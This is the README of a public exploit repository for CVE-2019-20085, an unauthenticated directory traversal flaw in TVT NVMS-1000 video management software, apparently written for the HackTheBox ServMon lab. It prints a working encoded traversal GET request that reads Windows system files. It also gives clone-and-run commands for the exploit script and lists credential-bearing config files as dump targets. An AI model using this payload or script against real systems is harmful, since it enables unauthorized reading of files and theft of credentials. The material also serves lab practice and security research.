CVE-2019-20085 PoC — TVT数码科技 TVT NVMS-1000 路径遍历漏洞

Description

A repository used for Hackthebox ServMon Machine

Readme

# 📂 CVE-2019-20085 – TVT NVMS-1000 Directory Traversal Exploit (By Z3R0)

> **Author:** Z3R0
> **CVE:** [CVE-2019-20085](https://nvd.nist.gov/vuln/detail/CVE-2019-20085)
> **Target:** TVT NVMS-1000 (all known versions prior to patch)
> **Vuln Type:** Unauthenticated Directory Traversal
> **Date:** \[Insert Your Release Date]

---

## 🔍 Vulnerability Summary

TVT's NVMS-1000 software contains a directory traversal vulnerability in its web server component. By sending a specially crafted `GET` request using `/..` sequences, an unauthenticated attacker can access **arbitrary files on the underlying OS**, including sensitive configuration files, password hashes, or system keys.

---

## ⚠️ Affected Software

* **Product:** TVT NVMS-1000
* **Versions:** All versions before vendor fix (typically <= v3.x.x)
* **Platform:** Windows

---

## 💥 Exploit Description

This exploit abuses the vulnerable file path resolution in the HTTP server running on NVMS-1000. There is **no authentication required**. A remote attacker can read any file accessible to the service user.

### 🧪 Example Malicious Request

```
GET /..%5C..%5C..%5C..%5Cwindows%5Cwin.ini HTTP/1.1
Host: <target-ip>:80
```

### 🗂️ Files You Can Dump

* Windows system files (e.g., `C:\Windows\win.ini`)
* NVMS config files (often contain base64-encoded or plaintext creds)
* User data directories

---

## 🚀 Usage

### ✅ Requirements

* Python 3.x
* `requests` module (`pip install requests`)

### ▶️ Run the Exploit

```bash
git clone https://github.com/Z3R0-0x30/CVE-2019-20085.git
cd CVE-2019-20085
python3 exploit.py http://domain.local/ ../../windows/win.ini win.ini"
```

---

## ⚠️ Disclaimer

> This exploit is released **for educational and authorized security research purposes only**.
> The author **Z3R0** is not responsible for any misuse or unauthorized access.
> Always get proper authorization before testing systems.

---

## 📚 References
- [Exploitdb](https://www.exploit-db.com/exploits/47774)
- [NVD - CVE](https://nvd.nist.gov/vuln/detail/CVE-2019-20085)

File Snapshot

Remarks